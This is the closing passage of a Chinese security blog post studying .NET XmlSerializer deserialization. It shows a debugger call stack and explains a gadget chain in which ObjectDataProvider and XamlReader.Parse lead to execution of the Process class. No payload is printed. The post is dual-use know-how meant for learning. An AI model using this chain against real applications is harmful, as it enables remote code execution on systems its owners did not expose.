System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.Xml.XmlReader xmlReader, string encodingStyle, System.Xml.Serialization.XmlDeserializationEvents events) (IL≈0x0084, Native=0x039D11E0+0x1D9)
System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.Xml.XmlReader xmlReader, string encodingStyle) (IL≈0x0000, Native=0x039D1180+0x42)
System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.IO.TextReader textReader) (IL≈0x001C, Native=0x07B8FD20+0x7F)
ConsoleApp.exe!ConsoleApp.Program.Main(string[] args) (IL≈0x003C, Native=0x05E61C40+0xF6)
从上面可以看出这个链的调用情况:ObjectDataProvider.OnParametersChanged触发了Refresh,在通过Refresh反射XamlReader中的Parse然后在到新的ObjectDataProvider中的Refresh执行Process类
参考链接:
-
https://xz.aliyun.com/t/9592
-
https://www.anquanke.com/post/id/172316
原文始发于微信公众号(我真不是红队啊):.Net XmlSerializer反序列化学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论